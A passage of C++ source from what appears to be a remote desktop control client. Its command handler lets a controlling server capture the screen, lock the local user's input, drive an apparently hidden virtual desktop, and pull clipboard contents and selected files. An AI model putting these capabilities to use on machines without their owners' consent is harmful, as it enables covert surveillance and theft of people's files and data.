(persist) { iniFile cfg(CLIENT_PATH); cfg.SetInt("settings", "QualityLevel", level); } // 应用具体等级的配置 if (level == QUALITY_DISABLED) { // 关闭模式:不修改任何设置,使用原有的算法和帧率配置 Mprintf("质量等级: 关闭 (使用原有设置)\n"); } else if (level >= 0 && level < QUALITY_COUNT) { // 具体等级:应用本地配置 const QualityProfile& profile = m_QualityProfiles[level]; m_ScreenSettings.MaxFPS = profile.maxFPS; bool needRestart = false; if (m_ScreenSpyObject) { // 如果当前是 H264 且码率变化,需要重启以重新创建编码器 bool isH264 = (m_ScreenSpyObject->GetAlgorithm() == ALGORITHM_H264); bool bitRateChanged = m_ScreenSpyObject->SetBitRate(profile.bitRate); if (isH264 && bitRateChanged) { needRestart = true; } m_ScreenSpyObject->SetAlgorithm(profile.algorithm); } Mprintf("质量等级: Level=%d, FPS=%d, Algo=%d, BitRate=%d\n", level, profile.maxFPS, profile.algorithm, profile.bitRate); if (needRestart) { Mprintf("H264 码率变化,重启截屏...\n"); RestartScreen(); } } else { // 自适应模式:由服务端动态调整 Mprintf("质量等级: 自适应模式\n"); } break; } case CMD_INSTRUCTION_SET: { int set = unsigned(szBuffer[1]); iniFile cfg(CLIENT_PATH); cfg.SetInt("settings", "CpuSpeedup", set); if (m_ScreenSettings.CpuSpeedup != set) RestartScreen(); m_ScreenSettings.CpuSpeedup = set; Mprintf("使用的CPU加速指令集: %d\n", set); break; } case CMD_QUALITY_PROFILES: { // 接收服务端下发的质量配置 if (ulLength >= 1 + sizeof(QualityProfile) * QUALITY_COUNT) { memcpy(m_QualityProfiles, szBuffer + 1, sizeof(QualityProfile) * QUALITY_COUNT); SaveQualityProfiles(); Mprintf("收到质量配置更新\n"); } break; } case CMD_RESTORE_CONSOLE: { // RDP会话归位(恢复控制台会话) if (RestoreConsoleSession()) { // 成功后重启截屏线程以获取新的桌面句柄 RestartScreen(); } else { SwitchScreen(); } break; } case CMD_RESET_VIRTUAL_DESKTOP: { // 重置虚拟桌面:关闭所有窗口,然后重启截屏 if (m_virtual && g_hDesk) { Mprintf("重置虚拟桌面...\n"); CloseAllWindowsInDesktop(g_hDesk); // 等待窗口关闭 Sleep(500); // 关闭桌面句柄使其被销毁 CloseDesktop(g_hDesk); g_hDesk = nullptr; // 重启截屏线程(会创建新的桌面) RestartScreen(); Mprintf("虚拟桌面已重置\n"); } break; } case CMD_SWITCH_WINDOW: { // 切换窗口(类似 Alt+Tab) SwitchToNextWindow(); break; } case CMD_AUDIO_CTRL: { // 音频控制命令 if (ulLength >= 3) { BYTE enable = szBuffer[1]; BYTE persist = szBuffer[2]; HandleAudioCtrl(enable, persist); } break; } case COMMAND_NEXT: { m_DlgID = ulLength >= 9 ? *((uint64_t*)(szBuffer + 1)) : 0; // 解析服务端能力标志(如果有) if (ulLength >= 9 + sizeof(uint32_t)) { uint32_t capabilities = *(uint32_t*)(szBuffer + 9); if (m_ScreenSpyObject) { m_ScreenSpyObject->SetServerCapabilities(capabilities); if (capabilities & CAP_SCROLL_DETECT) { m_ScreenSpyObject->EnableScrollDetection(true); Mprintf("滚动检测已启用 (服务端支持)\n"); } } } // 解析滚动检测间隔(优先使用服务端发送的值,否则使用本地保存的值) if (ulLength >= 9 + sizeof(uint32_t) + sizeof(int)) { int scrollInterval = *(int*)(szBuffer + 9 + sizeof(uint32_t)); if (m_ScreenSpyObject) { m_ScreenSpyObject->SetScrollDetectInterval(scrollInterval); Mprintf("滚动检测间隔(服务端): %d\n", scrollInterval); } } else if (m_ScreenSpyObject && m_ScreenSettings.ScrollDetectInterval > 0) { // 使用本地保存的间隔设置 m_ScreenSpyObject->SetScrollDetectInterval(m_ScreenSettings.ScrollDetectInterval); Mprintf("滚动检测间隔(本地): %d\n", m_ScreenSettings.ScrollDetectInterval); } NotifyDialogIsOpen(); break; } case COMMAND_SCREEN_CONTROL: { if (m_ScreenSpyObject == NULL) break; BlockInput(false); ProcessCommand(szBuffer + 1, ulLength - 1); BlockInput(m_bIsBlockInput); //再恢复成用户的设置 break; } case COMMAND_SCREEN_BLOCK_INPUT: { //ControlThread里锁定 m_bIsBlockInput = *(LPBYTE)&szBuffer[1]; //鼠标键盘的锁定 BlockInput(m_bIsBlockInput); break; } case COMMAND_SCREEN_GET_CLIPBOARD: { int result = 0; auto files = GetClipboardFiles(result); if (!files.empty()) { char h[100] = {}; memcpy(h, szBuffer + 1, ulLength - 1); m_hash = std::string(h, h + 64); m_hmac = std::string(h + 64, h + 80); auto str = BuildMultiStringPath(files); BYTE* szBuffer = new BYTE[1 + str.size()]; szBuffer[0] = { COMMAND_GET_FOLDER }; memcpy(szBuffer + 1, str.data(), str.size()); SendData(szBuffer, 1 + str.size()); SAFE_DELETE_ARRAY(szBuffer); break; } if (SendClientClipboard(ulLength > 1)) break; files = GetForegroundSelectedFiles(result); if (!files.empty()) { char h[100] = {}; memcpy(h, szBuffer + 1, ulLength - 1); m_hash = std::string(h, h + 64); m_hmac = std::string(h + 64, h + 80); auto str = BuildMultiStringPath(files); BYTE* szBuffer = new BYTE[1 + str.size()]; szBuffer[0] = { COMMAND_GET_FOLDER }; memcpy(szBuffer + 1, str.data(), str.size()); SendData(szBuffer, 1 + str.size()); SAFE_DELETE_ARRAY(szBuffer); } break; } case COMMAND_SCREEN_SET_CLIPBOARD: { UpdateClientClipboard((char*)szBuffer + 1, ulLength - 1); break; } case COMMAND_GET_FOLDER: { std::string folder; if ((GetCurrentFolderPath(folder) || IsDebug) && ulLength - 1 > 80) { char *h = new char[ulLength-1]; memcpy(h, szBuffer + 1, ulLength - 1); m_hash = std::string(h, h + 64); m_hmac = std::string(h + 64, h + 80); std::string files = h[80] ? std::string(h + 80, h + ulLength - 1) : ""; SAFE_DELETE_ARRAY(h); if (OpenClipboard(nullptr)) { EmptyClipboard(); CloseClipboard(); } std::thread(RunFileReceiver, this, folder, files).detach(); } break; } case COMMAND_GET_FILE: { // 发送文件 (使用 V2 协议,支持断点续传) std::string dir = (char*)(szBuffer + 1); char* ptr = (char*)szBuffer + 1 + dir.length() + 1; auto files = *ptr ? ParseMultiStringPath(ptr, ulLength - 2 - dir.length()) : std::vector {}; if (files.empty()) { BOOL result = 0; files = GetClipboardFiles(result); } if (!files.empty() && !dir.empty()) { // 断点续传:先收集文件信息 std::vector> fileInfos; std::string rootDir = GetCommonRoot(files); for (size_t i = 0; i < files.size(); i++) { std::string relPath = GetRelativePath(rootDir, files[i]); std::string targetPath = dir + relPath; // 获取文件大小 HANDLE hFile = CreateFileA(files[i].c_str(), GENERIC_READ, FILE_SHARE_READ, nullptr, OPEN_EXISTING, 0, nullptr); if (hFile != INVALID_HANDLE_VALUE) { LARGE_INTEGER size; GetFileSizeEx(hFile, &size); CloseHandle(hFile); fileInfos.push_back({targetPath, (uint64_t)size.QuadPart}); } } // 生成传输ID(需要在查询和传输中使用相同的ID) uint64_t transferID = GenerateTransferID(); // 发送续传查询(不在这里等待,在传输线程中等待) bool queryPending = false; if (!fileInfos.empty()) { auto queryPkt = BuildResumeQuery(transferID, m_MyClientID, 0, fileInfos); if (!queryPkt.empty()) { m_ClientObject->Send2Server((char*)queryPkt.data(), (int)queryPkt.size()); Mprintf("[Resume] 发送续传查询: transferID=%llu, %zu 个文件\n", transferID, fileInfos.size()); queryPending = true; } } // 启动传输线程(会在发送前等待偏移响应) IOCPClient* pClient = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn); if (pClient->ConnectServer(m_ClientObject->ServerIP().c_str(), m_ClientObject->ServerPort())) { TransferOptionsV2 opts; opts.transferID = transferID; // 使用之前生成的ID opts.srcClientID = m_MyClientID; opts.dstClientID = 0; // 发送到主控端 opts.enableResume = queryPending; // 标记需要等待偏移 std::thread(FileBatchTransferWorkerV2, files, dir, pClient, ::SendDataV2, ::FinishSend, m_hash, m_hmac, opts).detach(); } else { delete pClient; } } break; } case COMMAND_SEND_FILE: { // 接收文件 (V1) int n = RecvFileChunk((char*)szBuffer, ulLength, m_conn, RecvData, m_hash, m_hmac); if (n) { Mprintf("RecvFileChunk failed: %d. hash: %s, hmac: %s\n", n, m_hash.c_str(), m_hmac.c_str()); } break; } case COMMAND_SEND_FILE_V2: { // 接收文件 (V2, 支持 C2C) int n = RecvFileChunkV2((char*)szBuffer, ulLength, m_conn, RecvData, m_hash, m_hmac, m_MyClientID); if (n) { Mprintf("RecvFileChunkV2 failed: %d\n", n); } break; } case COMMAND_FILE_RESUME: { // V2 断点续传控制 // 注意:批量响应使用 FileResumeResponseV2,单文件使用 FileResumePacketV2 // 先尝试解析为批量响应格式 std::map batchOffsets; if (ParseResumeResponse((const char*)szBuffer, ulLength, batchOffsets)) { Mprintf("收到批量续传响应: %zu 个文件\n", batchOffsets.size()); SetPendingResumeOffsets(batchOffsets); break; } // 不是批量响应,按单文件格式处理 FileResumePacketV2* pkt = (FileResumePacketV2*)szBuffer; Mprintf("收到断点续传包: transferID=%llu, flags=0x%04X\n", pkt->transferID, pkt->flags); if (pkt->flags & FFV2_RESUME_REQ) { // 对方请求续传信息,获取本地接收状态并发送响应 TransferStateInfo info; if (GetTransferState(pkt->transferID, pkt->fileIndex, info)) { // 构建 RESUME_RESP 包 size_t rangeDataSize = info.receivedRanges.size() * sizeof(FileRangeV2); size_t totalSize = sizeof(FileResumePacketV2) + rangeDataSize; std::vector respBuf(totalSize); FileResumePacketV2* resp = (FileResumePacketV2*)respBuf.data(); resp->cmd = COMMAND_FILE_RESUME; resp->transferID = pkt->transferID; resp->srcClientID = m_MyClientID; // 我的ID resp->dstClientID = pkt->srcClientID; // 回复给请求方 resp->fileIndex = pkt->fileIndex; resp->fileSize = info.fileSize; resp->receivedBytes = info.receivedBytes; resp->flags = FFV2_RESUME_RESP; resp->rangeCount = (uint16_t)info.receivedRanges.size(); // 写入区间数据 FileRangeV2* ranges = (FileRangeV2*)(respBuf.data() + sizeof(FileResumePacketV2)); for (size_t i = 0; i < info.receivedRanges.size(); i++) { ranges[i].offset = info.receivedRanges[i].first; ranges[i].length = info.receivedRanges[i].second; } Send(respBuf.data(), (UINT)totalSize); Mprintf("已发送续传响应: transferID=%llu, received=%llu/%llu\n", pkt->transferID, info.receivedBytes, info.fileSize); } else { Mprintf("未找到传输状态: transferID=%llu\n", pkt->transferID); } } else if (pkt->flags & FFV2_RESUME_RESP) { // 单文件续传响应 Mprintf("收到续传响应: fileIndex=%u, received=%llu/%llu\n", pkt->fileIndex, pkt->receivedBytes, pkt->fileSize); // 解析已接收区间 uint64_t transferID, fileSize; std::vector> receivedRanges; if (ParseResumePacket((const char*)szBuffer, ulLength, transferID, fileSize, receivedRanges)) { // 获取本地发送状态(需要知道原始文件路径和目标名称) TransferStateInfo sendInfo; if (GetTransferState(transferID, pkt->fileIndex, sendInfo)) { // 使用新连接从断点继续发送 TransferOptionsV2 opts; opts.transferID = transferID; opts.srcClientID = m_MyClientID; opts.dstClientID = pkt->srcClientID; opts.enableResume = true; // 获取目标文件名(从文件路径提取) std::string targetName = sendInfo.filePath; size_t lastSlash = targetName.find_last_of("\\/"); if (lastSlash != std::string::npos) { targetName = targetName.substr(lastSlash + 1); } IOCPClient* pClient = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn); if (pClient->ConnectServer(m_ClientObject->ServerIP().c_str(), m_ClientObject->ServerPort())) { std::thread([=]() { FileSendFromOffset(sendInfo.filePath, targetName, fileSize, receivedRanges, pClient, [](void* user, FileChunkPacketV2* chunk, unsigned char* data, int size) -> bool { IOCPClient* client = (IOCPClient*)user; return client->Send2Server((char*)data, size) != FALSE; }, opts); delete pClient; }).detach(); Mprintf("开始续传: transferID=%llu, 跳过 %zu 个区间\n", transferID, receivedRanges.size()); } else { delete pClient; Mprintf("续传连接失败\n"); } } } } else if (pkt->flags & FFV2_CANCEL) { // 取消传输:通知发送线程停止 CancelTransfer(pkt->transferID); CleanupResumeState(pkt->transferID); Mprintf("传输已取消: transferID=%llu\n", pkt->transferID); } break; } case COMMAND_FILE_COMPLETE_V2: { // C2C 文件完成校验 if (ulLength < sizeof(FileCompletePacketV2)) break; const FileCompletePacketV2* completePkt = (const FileCompletePacketV2*)szBuffer; bool verifyOk = HandleFileCompleteV2((const char*)szBuffer, ulLength, m_MyClientID); Mprintf("[C2C] 文件校验%s: transferID=%llu, fileIndex=%u\n", verifyOk ? "通过" : "失败", completePkt->transferID, completePkt->fileIndex); break; } case COMMAND_FILE_QUERY_RESUME: { // C2C 断点续传查询 Mprintf("[C2C] 收到断点续传查询\n"); auto response = HandleResumeQuery((const char*)szBuffer, ulLength); if (!response.empty()) { m_ClientObject->Send2Server((char*)response.data(), (int)response.size()); Mprintf("[C2C] 已响应断点续传查询: %zu 字节\n", response.size()); } break; } case COMMAND_C2C_TEXT: { // C2C 文本剪贴板: [cmd:1][dstClientID:8][textLen:4][text:N] if (ulLength < 13) break; uint32_t textLen; memcpy(&textLen, szBuffer + 9, 4); if (ulLength < 13 + textLen) break; // UTF-8 文本转换为 Unicode 并设置剪贴板 std::string utf8Text((const char*)szBuffer + 13, textLen); int wideLen = MultiByteToWideChar(CP_UTF8, 0, utf8Text.c_str(), -1, NULL, 0); if (wideLen > 0) { std::wstring wideText(wideLen, 0); MultiByteToWideChar(CP_UTF8, 0, utf8Text.c_str(), -1, &wideText[0], wideLen); if (::OpenClipboard(NULL)) { ::EmptyClipboard(); HGLOBAL hGlobal = GlobalAlloc(GMEM_MOVEABLE, wideLen * sizeof(wchar_t)); if (hGlobal) { wchar_t* pDst = (wchar_t*)GlobalLock(hGlobal); if (pDst) { wcscpy(pDst, wideText.c_str()); GlobalUnlock(hGlobal); SetClipboardData(CF_UNICODETEXT, hGlobal); Mprintf("[C2C] 收到文本: %u 字节\n", textLen); // 模拟 Ctrl+V 完成粘贴(因为原始 Ctrl+V 被服务端拦截了) ::CloseClipboard(); INPUT inputs[4] = {}; inputs[0].type = INPUT_KEYBOARD; inputs[0].ki.wVk = VK_CONTROL; inputs[1].type = INPUT_KEYBOARD; inputs[1].ki.wVk = 'V'; inputs[2].type = INPUT_KEYBOARD; inputs[2].ki.wVk = 'V'; inputs[2].ki.dwFlags = KEYEVENTF_KEYUP; inputs[3].type = INPUT_KEYBOARD; inputs[3].ki.wVk = VK_CONTROL; inputs[3].ki.dwFlags = KEYEVENTF_KEYUP; SendInput(4, inputs, sizeof(INPUT)); break; } else { GlobalFree(hGlobal); } } ::CloseClipboard(); } } break; } case COMMAND_CLIPBOARD_V2: { // V2 C2C 剪贴板请求:被请求发送剪贴板文件到另一个客户端 ClipboardRequestV2* req = (ClipboardRequestV2*)szBuffer; Mprintf("收到 C2C 剪贴板请求: dst=%llu, transferID=%llu\n", req->dstClientID, req->transferID); // 从请求包中提取认证信息(与 KernelManager 保持一致) std::string hash(req->hash, 64); std::string hmac(req->hmac, 16); // 获取剪贴板文件 int result = 0; auto files = GetClipboardFiles(result); if (files.empty()) { files = GetForegroundSelectedFiles(result); } if (!files.empty()) { // C2C: 不指定目标目录,由接收方决定 std::string targetDir = ""; // 收集文件信息(使用相对路径,接收方使用后缀匹配) std::vector> fileInfos; std::string rootDir = GetCommonRoot(files); for (size_t i = 0; i < files.size(); i++) { std::string relPath = GetRelativePath(rootDir, files[i]); std::replace(relPath.begin(), relPath.end(), '\\', '/'); HANDLE hFile = CreateFileA(files[i].c_str(), GENERIC_READ, FILE_SHARE_READ, nullptr, OPEN_EXISTING, 0, nullptr); if (hFile != INVALID_HANDLE_VALUE) { LARGE_INTEGER size; GetFileSizeEx(hFile, &size); CloseHandle(hFile); fileInfos.push_back({relPath, (uint64_t)size.QuadPart}); } } // 发送续传查询(通过主连接,响应也会回到主连接) bool queryPending = false; if (!fileInfos.empty()) { auto queryPkt = BuildResumeQuery(req->transferID, m_MyClientID, req->dstClientID, fileInfos); if (!queryPkt.empty()) { m_ClientObject->Send2Server((char*)queryPkt.data(), (int)queryPkt.size()); Mprintf("[C2C] 发送续传查询: transferID=%llu, %zu 个文件, 使用完整路径\n", req->transferID, fileInfos.size()); queryPending = true; } } // 使用 V2 发送到目标客户端 TransferOptionsV2 opts; opts.transferID = req->transferID; opts.srcClientID = m_MyClientID; // 我是源 opts.dstClientID = req->dstClientID; // 目标客户端 opts.enableResume = queryPending; // 只有发送了查询才等待响应 IOCPClient* pClient = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn); if (pClient->ConnectServer(m_ClientObject->ServerIP().c_str(), m_ClientObject->ServerPort())) { std::thread([files, targetDir, pClient, opts, hash, hmac]() { FileBatchTransferWorkerV2(files, targetDir, pClient, [](void* user, FileChunkPacketV2* chunk, unsigned char* data, int size) -> bool { IOCPClient* client = (IOCPClient*)user; return client->Send2Server((char*)data, size) != FALSE; }, [](void* user) { IOCPClient* client = (IOCPClient*)user; delete client; }, hash, hmac, opts); }).detach(); } else { delete pClient; } } else { // 没有文件,尝试发送剪贴板文本 std::string text; if (::OpenClipboard(NULL)) { HGLOBAL hGlobal = GetClipboardData(CF_UNICODETEXT); if (hGlobal) { wchar_t* pWideStr = (wchar_t*)GlobalLock(hGlobal); if (pWideStr) { int len = WideCharToMultiByte(CP_UTF8, 0, pWideStr, -1, NULL, 0, NULL, NULL); if (len > 0) { text.resize(len); WideCharToMultiByte(CP_UTF8, 0, pWideStr, -1, &text[0], len, NULL, NULL); text.resize(strlen(text.c_str())); } GlobalUnlock(hGlobal); } } ::CloseClipboard(); } if (!text.empty()) { // 构建 C2C 文本包: [cmd:1][dstClientID:8][textLen:4][text:N] uint32_t textLen = (uint32_t)text.size(); std::vector pkt(1 + 8 + 4 + textLen); pkt[0] = COMMAND_C2C_TEXT; memcpy(&pkt[1], &req->dstClientID, 8); memcpy(&pkt[9], &textLen, 4); memcpy(&pkt[13], text.data(), textLen); m_ClientObject->Send2Server(pkt.data(), (int)pkt.size()); Mprintf("[C2C] 发送文本到客户端 %llu (%u 字节)\n", req->dstClientID, textLen); } else { Mprintf("[C2C] 没有找到要发送的文件或文本\n"); } } break; } } } VOID CScreenManager::UpdateClientClipboard(char *szBuffer, ULONG ulLength) { if (!::OpenClipboard(NULL)) return; ::EmptyClipboard(); HGLOBAL hGlobal = GlobalAlloc(GMEM_DDESHARE, ulLength+1); if (hGlobal != NULL) { LPTSTR szClipboardVirtualAddress = (LPTSTR) GlobalLock(hGlobal); if (szClipboardVirtualAddress == NULL) { GlobalFree(hGlobal); CloseClipboard(); return; } memcpy(szClipboardVirtualAddress, szBuffer, ulLength); szClipboardVirtualAddress[ulLength] = '\0'; GlobalUnlock(hGlobal); if(NULL==SetClipboardData(CF_TEXT, hGlobal)) GlobalFree(hGlobal); } CloseClipboard(); } BOOL CScreenManager::SendClientClipboard(BOOL fast) { if (!::OpenClipboard(NULL)) return FALSE; // 改为获取 Unicode 格式 HGLOBAL hGlobal = GetClipboardData(CF_UNICODETEXT); if (hGlobal == NULL) { ::CloseClipboard(); return FALSE; } wchar_t* pWideStr = (wchar_t*)GlobalLock(hGlobal); if (pWideStr == NULL) { ::CloseClipboard(); return FALSE; } // Unicode 转 UTF-8 int utf8Len = WideCharToMultiByte(CP_UTF8, 0, pWideStr, -1, NULL, 0, NULL, NULL); if (utf8Len <= 0) { GlobalUnlock(hGlobal); ::CloseClipboard(); return TRUE; } if (fast && utf8Len > 200 * 1024) { Mprintf("剪切板文本太长, 无法快速拷贝: %d\n", utf8Len); GlobalUnlock(hGlobal); ::CloseClipboard(); return TRUE; } LPBYTE szBuffer = new BYTE[utf8Len + 1]; szBuffer[0] = TOKEN_CLIPBOARD_TEXT; WideCharToMultiByte(CP_UTF8, 0, pWideStr, -1, (char*)(szBuffer + 1), utf8Len, NULL, NULL); GlobalUnlock(hGlobal); ::CloseClipboard(); m_ClientObject->Send2Server((char*)szBuffer, utf8Len + 1); delete[] szBuffer; return TRUE; } VOID CScreenManager::SendFirstScreen() { ULONG ulFirstSendLength = 0; LPVOID FirstScreenData = m_ScreenSpyObject->GetFirstScreenData(&ulFirstSendLength); if (ulFirstSendLength == 0 || FirstScreenData == NULL) { return; } m_ClientObject->Send2Server((char*)FirstScreenData, ulFirstSendLength + 1); } const char* CScreenManager::GetNextScreen(ULONG &ulNextSendLength) { AUTO_TICK(100, "GetNextScreen"); LPVOID NextScreenData = m_ScreenSpyObject->GetNextScreenData(&ulNextSendLength); if (ulNextSendLength == 0 || NextScreenData == NULL) { return NULL; } return (char*)NextScreenData; } VOID CScreenManager::SendNextScreen(const char* szBuffer, ULONG ulNextSendLength) { AUTO_TICK(100, std::to_string(ulNextSendLength)); m_ClientObject->Send2Server(szBuffer, ulNextSendLength); } std::string GetTitle(HWND hWnd) { char title[256]; // 预留缓冲区 GetWindowTextA(hWnd, title, sizeof(title)); return title; } // 辅助判断是否为扩展键 bool IsExtendedKey(WPARAM vKey) { switch (vKey) { case VK_INSERT: case VK_DELETE: case VK_HOME: case VK_END: case VK_PRIOR: case VK_NEXT: case VK_LEFT: case VK_UP: case VK_RIGHT: case VK_DOWN: case VK_RCONTROL: case VK_RMENU: case VK_DIVIDE: // 小键盘的 / return true; default: return false; } } VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength) { int msgSize = sizeof(MSG64); if (ulLength % 28 == 0) // 32位控制端发过来的消息 msgSize = 28; else if (ulLength % 48 == 0) // 64位控制端发过来的消息 msgSize = 48; else return; // 数据包不合法 // 命令个数 ULONG ulMsgCount = ulLength / msgSize; // 处理多个命令 BYTE* ptr = szBuffer; MSG32 msg32; MSG64 msg64; if (m_virtual) { HWND hWnd = NULL; BOOL mouseMsg = FALSE; POINT lastPointCopy = {}; SetThreadDesktop(g_hDesk); for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize) { MYMSG* msg = msgSize == 48 ? (MYMSG*)ptr : (MYMSG*)msg64.Create(msg32.Create(ptr, msgSize)); switch (msg->message) { case WM_KEYUP: return; case WM_CHAR: case WM_KEYDOWN: { m_point = m_lastPoint; hWnd = WindowFromPoint(m_point); break; } default: { msg->pt = { LOWORD(msg->lParam), HIWORD(msg->lParam) }; m_ScreenSpyObject->PointConversion(msg->pt); msg->lParam = MAKELPARAM(msg->pt.x, msg->pt.y); mouseMsg = TRUE; m_point = msg->pt; hWnd = WindowFromPoint(m_point); if (msg->message == WM_LBUTTONDOWN) { char szClass[64] = {}; if (hWnd) GetClassNameA(hWnd, szClass, sizeof(szClass)); Mprintf("虚拟桌面点击: (%d,%d) hWnd=%p class=%s\n", m_point.x, m_point.y, hWnd, szClass); } lastPointCopy = m_lastPoint; m_lastPoint = m_point; if (msg->message == WM_RBUTTONDOWN) { // 记录右键按下时的坐标 m_rmouseDown = TRUE; m_rclickPoint = msg->pt; } else if (msg->message == WM_RBUTTONUP) { m_rmouseDown = FALSE; m_rclickWnd = WindowFromPoint(m_rclickPoint); // 检查是否为任务栏相关窗口 char szClass[256] = {}; GetClassNameA(m_rclickWnd, szClass, sizeof(szClass)); Mprintf("Right click on '%s' %s[%p]\n", szClass, GetTitle(hWnd).c_str(), hWnd); // 检查是否为任务栏或其子窗口 BOOL isTaskbar = (strcmp(szClass, "Shell_TrayWnd") == 0 || strcmp(szClass, "MSTaskListWClass") == 0 || strcmp(szClass, "MSTaskSwWClass") == 0 || strcmp(szClass, "TrayNotifyWnd") == 0 || strcmp(szClass, "Start") == 0 || strcmp(szClass, "ReBarWindow32") == 0); // 如果不是已知的任务栏类,检查父窗口链 if (!isTaskbar) { HWND hParent = GetParent(m_rclickWnd); while (hParent) { GetClassNameA(hParent, szClass, sizeof(szClass)); if (strcmp(szClass, "Shell_TrayWnd") == 0) { isTaskbar = TRUE; break; } hParent = GetParent(hParent); } } if (isTaskbar) { // 任务栏右键菜单:使用屏幕坐标发送 WM_CONTEXTMENU Mprintf("Taskbar right click at: %d, %d\n", m_rclickPoint.x, m_rclickPoint.y); PostMessage(m_rclickWnd, WM_CONTEXTMENU, (WPARAM)m_rclickWnd, MAKELPARAM(m_rclickPoint.x, m_rclickPoint.y)); } else { // 普通窗口的右键菜单 if (!PostMessage(m_rclickWnd, WM_RBUTTONUP, msg->wParam, MAKELPARAM(m_rclickPoint.x, m_rclickPoint.y))) { // 附加:模拟键盘按下Shift+F10(备用菜单触发方式) keybd_event(VK_SHIFT, 0, 0, 0); keybd_event(VK_F10, 0, 0, 0); keybd_event(VK_F10, 0, KEYEVENTF_KEYUP, 0); keybd_event(VK_SHIFT, 0, KEYEVENTF_KEYUP, 0); } } } else if (msg->message == WM_LBUTTONUP) { if (m_rclickWnd && hWnd != m_rclickWnd) { PostMessageA(m_rclickWnd, WM_LBUTTONDOWN, MK_LBUTTON, 0); PostMessageA(m_rclickWnd, WM_LBUTTONUP, MK_LBUTTON, 0); m_rclickWnd = nullptr; } m_lmouseDown = FALSE; // 检查是否为任务栏相关窗口 char szClass[256] = {}; GetClassNameA(hWnd, szClass, sizeof(szClass)); BOOL isTaskbar = (strcmp(szClass, "Shell_TrayWnd") == 0 || strcmp(szClass, "MSTaskListWClass") == 0 || strcmp(szClass, "MSTaskSwWClass") == 0 || strcmp(szClass, "TrayNotifyWnd") == 0 || strcmp(szClass, "ReBarWindow32") == 0); if (!isTaskbar) { HWND hParent = GetParent(hWnd); while (hParent) { GetClassNameA(hParent, szClass, sizeof(szClass)); if (strcmp(szClass, "Shell_TrayWnd") == 0) { isTaskbar = TRUE; break; } hParent = GetParent(hParent); } } if (isTaskbar) { // 任务栏左键点击:需要获取输入权限才能正确模拟点击 Mprintf("Taskbar left click at: %d, %d on %s\n", m_point.x, m_point.y, szClass); // 获取任务栏线程并附加输入 HWND hTaskbar = FindWindowA("Shell_TrayWnd", NULL); if (hTaskbar) { DWORD taskbarThreadId = GetWindowThreadProcessId(hTaskbar, NULL); DWORD currentThreadId = GetCurrentThreadId(); // 允许设置前台窗口 AllowSetForegroundWindow(ASFW_ANY); // 附加到任务栏线程的输入队列 AttachThreadInput(currentThreadId, taskbarThreadId, TRUE); // 模拟鼠标点击 SetCursorPos(m_point.x, m_point.y); mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0); Sleep(80); mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0); // 分离输入队列 AttachThreadInput(currentThreadId, taskbarThreadId, FALSE); } continue; } LRESULT lResult = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam); switch (lResult) { case HTTRANSPARENT: { SetWindowLongA(hWnd, GWL_STYLE, GetWindowLongA(hWnd, GWL_STYLE) | WS_DISABLED); lResult = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam); break; } case HTCLOSE: {// 关闭窗口 PostMessageA(hWnd, WM_CLOSE, 0, 0); Mprintf("Close window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd); break; } case HTMINBUTTON: {// 最小化 PostMessageA(hWnd, WM_SYSCOMMAND, SC_MINIMIZE, 0); Mprintf("Minsize window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd); break; } case HTMAXBUTTON: {// 最大化 WINDOWPLACEMENT windowPlacement; windowPlacement.length = sizeof(windowPlacement); GetWindowPlacement(hWnd, &windowPlacement); if (windowPlacement.flags & SW_SHOWMAXIMIZED) PostMessageA(hWnd, WM_SYSCOMMAND, SC_RESTORE, 0); else PostMessageA(hWnd, WM_SYSCOMMAND, SC_MAXIMIZE, 0); Mprintf("Maxsize window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd); break; } } } else if (msg->message == WM_LBUTTONDOWN) { m_lmouseDown = TRUE; m_hResMoveWindow = NULL; // 获取顶层窗口来判断点击位置 HWND hTopWnd = GetAncestor(hWnd, GA_ROOT); if (!hTopWnd) hTopWnd = hWnd; // 在按下时就记录操作类型,避免移动后误判为边框调整 m_resMoveType = SendMessageA(hTopWnd, WM_NCHITTEST, NULL, msg->lParam); // 修正现代 UI (WinUI 3) 标题栏检测和 DWM 阴影误判 RECT frameRect; if (SUCCEEDED(DwmGetWindowAttribute(hTopWnd, DWMWA_EXTENDED_FRAME_BOUNDS, &frameRect, sizeof(frameRect)))) { int captionHeight = GetSystemMetrics(SM_CYCAPTION) + GetSystemMetrics(SM_CYFRAME) + 8; int relX = m_point.x - frameRect.left; // 相对于窗口左边的 X 坐标 int relY = m_point.y - frameRect.top; // 相对于窗口顶部的 Y 坐标 Mprintf("点击位置: relX=%d, relY=%d, captionHeight=%d\n", relX, relY, captionHeight); // Windows 11 文件管理器工具栏按钮检测(在标题栏下方的工具栏区域) // 工具栏 Y 范围:captionHeight 到 captionHeight+50 (大约 35-85) if (relY >= captionHeight && relY < captionHeight + 50 && relX >= 0 && relX < 160) { // 工具栏按钮区域(返回、前进、向上) BYTE vkKey = 0; const char* btnName = NULL; if (relX < 50) { vkKey = VK_LEFT; // 返回:Alt + Left btnName = "返回"; } else if (relX < 100) { vkKey = VK_RIGHT; // 前进:Alt + Right btnName = "前进"; } else if (relX < 160) { vkKey = VK_UP; // 向上:Alt + Up btnName = "向上"; } if (vkKey) { Mprintf("工具栏按钮点击: %s (relX=%d, relY=%d)\n", btnName, relX, relY); // 方法1: 尝试 WM_APPCOMMAND (浏览器导航命令) #define APPCOMMAND_BROWSER_BACKWARD 1 #define APPCOMMAND_BROWSER_FORWARD 2 #define FAPPCOMMAND_KEY 0x8000 if (vkKey == VK_LEFT) { // 返回 LPARAM cmd = MAKELPARAM(0, APPCOMMAND_BROWSER_BACKWARD | FAPPCOMMAND_KEY); SendMessage(hTopWnd, WM_APPCOMMAND, (WPARAM)hTopWnd, cmd); } else if (vkKey == VK_RIGHT) { // 前进 LPARAM cmd = MAKELPARAM(0, APPCOMMAND_BROWSER_FORWARD | FAPPCOMMAND_KEY); SendMessage(hTopWnd, WM_APPCOMMAND, (WPARAM)hTopWnd, cmd); } else if (vkKey == VK_UP) { 